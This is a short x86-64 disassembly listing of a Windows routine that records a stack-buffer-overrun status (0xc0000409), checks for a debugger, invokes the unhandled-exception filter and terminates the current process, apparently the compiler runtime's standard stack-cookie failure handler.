mov qword [0x13f26a408], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x13f26a3a8], rax
mov rax, qword [0x13f26a408]
mov qword [0x13f26a280], rax
mov rax, qword [rsp + 0x90]
mov qword [0x13f26a390], rax
mov dword [0x13f26a270], 0xc0000409
mov dword [0x13f26a274], 1
mov rax, qword [0x13f268490]
mov qword [rsp + 0x68], rax
mov rax, qword [0x13f268498]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x13f26a308], eax
mov ecx, 1
call fcn.13f2472ac
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x13f259f80]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x13f26a308], 0
jne 0x13f23f9b2
mov ecx, 1
call fcn.13f2472ac
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret